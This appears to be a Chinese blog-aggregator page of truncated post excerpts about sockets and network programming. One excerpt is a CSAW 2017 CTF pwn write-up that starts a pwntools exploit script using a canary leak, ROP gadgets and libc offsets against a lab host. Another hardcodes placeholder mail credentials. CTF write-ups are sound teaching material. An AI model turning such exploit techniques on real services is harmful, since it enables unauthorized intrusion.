recv

瘦欲@ 提交于 2019-11-30 20:20:56
1.命令格式: ss [参数] ss [参数] [过滤] 2.命令功能: ss(Socket Statistics的缩写)命令可以用来获取 socket统计信息,此命令输出的结果类似于 netstat输出的内容,但它能显示更多更详细的 TCP连接状态的信息,且比 netstat 更快速高效。它使用了 TCP协议栈中 tcp_diag(是一个用于分析统计的模块),能直接从获得第一手内核信息,这就使得 ss命令快捷高效。在没有 tcp_diag,ss也可以正常运行。 3.命令参数: -h, --help 帮助信息 -V, --version 程序版本信息 -n, --numeric 不解析服务名称 -r, --resolve 解析主机名 -a, --all 显示所有套接字(sockets) -l, --listening 显示监听状态的套接字(sockets) -o, --options 显示计时器信息 -e, --extended 显示详细的套接字(sockets)信息 -m, --memory 显示套接字(socket)的内存使用情况 -p, --processes 显示使用套接字(socket)的进程 -i, --info 显示 TCP内部信息 -s, --summary 显示套接字(socket)使用概况 -4, --ipv4 仅显示IPv4的套接字(sockets) -6,

网络编程

梦想的初衷 提交于 2019-11-30 18:34:08
一、 def recv_file(dic,sock,buffer=2048): def inner_recv(buffersize=buffer,recvsize=buffer): while dic['filesize'] > buffersize: contnet = sock.recv(recvsize) f.write(contnet) dic['filesize'] -= len(contnet) 来源: https://www.cnblogs.com/Ben-h/p/11634956.html

CSAW Quals CTF 2017-scv

两盒软妹~` 提交于 2019-11-30 16:19:36
目录 程序基本信息 程序漏洞 整体思路 exp脚本 内容参考 程序基本信息 64位动态链接程序,开启了栈溢出和数据段不可执行保护 程序漏洞 read函数很明显的栈溢出漏洞 整体思路 由于题目给了libc,我们可以使用one_gadget获得gadget在libc中的偏移,通过泄露其他函数库的偏移计算gadget在内存中的位置。由于程序中有栈溢出保护,我们可以利用功能2,功能2的作用是puts打印我们输入的字符串,我们可以利用功能2将canary泄露出来,这样我们就可以进行栈溢出了,后面的步骤就简单了,利用rop技术即可pwn掉程序。 exp脚本 #!/usr/bin/python #coding:utf-8 from pwn import * context.update(os = 'linux', arch = 'amd64') io = remote('172.17.0.2', 10001) pop_rdi = 0x400ea3 #pop rdi;ret puts_plt = 0x4008d0 #puts函数plt表地址 read_got = 0x602030 #read函数got表地址 start = 0x4009a0 #start函数首地址 io.sendline('1') io.send('A'*164+'ABCDE')

python 发送邮件

为君一笑 提交于 2019-11-30 13:19:52
1 import smtplib 2 import time 3 from email.mime.text import MIMEText 4 5 times = 60 * 60 * 8 6 7 8 mailserver = "smtp.163.com" # 邮箱服务器地址 9 username_send = '13088888888@163.com' # 邮箱用户名 10 password = '123456' # 邮箱密码:需要使用授权码 11 12 # username_recv = 'llyu@founder.com,zhangdan@founder.com' # 收件人,多个收件人用逗号隔开 13 # username_recv = '247203650@qq.com' # 收件人,多个收件人用逗号隔开 14 15 count = 1 16 while True: 17 print("开始监听-----") 18 try: 19 with open(r"D:\aaaaaaaaaaaaa\process1.txt", "r+", encoding="utf-8") as p1: 20 lines = p1.readlines() 21 p1Initial = lines.__len__() 22 p1_initial_id = int(lines[-1].split('\t

C#中自己动手创建一个Web Server(非Socket实现)

这一生的挚爱 提交于 2019-11-30 12:14:26
原文地址:https://www.cnblogs.com/mq0036/p/6656888.html 最近有个web的小项目,但公司的电脑无法安装IIS,所以就想自己来实现个Web server服务器,原本想了下,也就是socket处理http请求,于是就在博客园中搜索了“socket实现web server”,结果还真搜索到一些文章,于是从中找了几个做参考,如下: C#中使用Socket实现简单Web服务器 C#中使用Socket模拟请求Web服务器过程 C#中自己动手创建一个Web Server(非Socket实现) 其他的这里就不一一列出了,感兴趣的可以自己搜索看看。 所以我根据他们的代码,然后自己在修改符合自己使用的情况,初次版本就出来了,代码如下: using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net; using System.Net.Sockets; namespace socket_webServer { class Program { static Socket _socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream,

What value will recv() return if it receives a valid TCP packet with payload sized 0

只谈情不闲聊 提交于 2019-11-30 10:04:02
In TCP socket programming, if recv() returns 0, it is taken as an indication that the other side closed its connection. However, AFAIK, the TCP RFC does not mandate the payload of TCP to be > 0. So, theoretically, a TCP stack can receive a message with payload 0. So, essentially my question is what will recv() returns if it receives a packet of payload sized 0? If it returns 0, then how do we distinguish it from a closed connection indication. TCP segments with a payload size of 0 are ubiquitous - they occur in pretty much every real-world TCP stream. They're sent whenever one side wishes to

Raw Socket Linux send/receive a packet

人盡茶涼 提交于 2019-11-30 09:21:23
Have some problems in receiving packets. I can receive and read incoming packets, but I think i do not get a handshake with any host. I only want to send a packet to a remote computer with an open port on receiving an answer to see the TTL(time to live) and the window size. Does anyone have an idea where the errors are? (I don't have very deep knowledge in C programming) CODE: #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <errno.h> #include <unistd.h> #include <arpa/inet.h> #include <net/ethernet.h> #include <netinet/in.h> #include <netinet/ip.h

Unblock recvfrom when socket is closed

拥有回忆 提交于 2019-11-30 09:11:54
问题 Let's say I start a thread to receive on a port. The socket call will block on recvfrom. Then, somehow in another thread, I close the socket. On Windows, this will unblock recvfrom and my thread execution will terminate. On Linux, this does not unblock recvfrom, and as a result, my thread is sitting doing nothing forever, and the thread execution does not terminate. Can anyone help me with what's happening on Linux? When the socket is closed, I want recvfrom to unblock I keep reading about

A more elegant way to use recv() and vector<unsigned char>

送分小仙女□ 提交于 2019-11-30 08:46:13
So far, I have this code sample: ... int nbytes =0; vector<unsigned char> buffer; buffer.resize(5000); nbytes = recv(socket, &buffer[0], buffer.size(),0); //since I want to use buffer.size() to know data length in buffer I do ... buffer.resize(nbytes); Is it some another way, to know data length in buffer without using resize() twice? Because it is not possible to receive data into vector that is not resized to proper size. I think reserve() method don't do allocation, according to the C++ STL documentation. And another question: is using this kind of technique is memory leak-safe ? This

网络编程笔记

 ̄綄美尐妖づ 提交于 2019-11-30 06:34:43
网络编程 网路编程基础知识 C/S和B/S架构 C : client S : server 客户端,服务端 B : browser S : server 浏览器,服务端 B/S架构本质也是C/S 网络的七层协议:(应表会传网数物) 物理层:电信号(0和1) 数据链路层:把物理层的电信号分组,每一组叫一个 数据报 或 数据帧 ,每一帧有:报头head和数据data两部分。 头固定18字节:6:发送者地址/6:接收者地址/6:数据类型 网络层: ip:ipv4:32位2进制表示:点分十进制表示 子网掩码:通过子网掩码和ip判断两个ip是否处于同一个网段,通过ip地址和子网掩码做按位与运算 ip地址: 172.16.10.1: 10101100.00010000.00001010.000000001 子网掩码:255.255.255.0: 11111111.11111111.11111111.000000000 按位与运算:172.16.10.0 10101100.00010000.00001010.000000000 ip和mac有转换关系:主要是因为 ARP协议 和 mac地址学习 。 传输层: tcp协议: 三次握手、四次挥手 dos和ddos攻击:拒接服务攻击,分布式的拒接服务攻击 端口号:0—65535,0—1023为系统占用端口 udp协议: 直接发送,不需要响应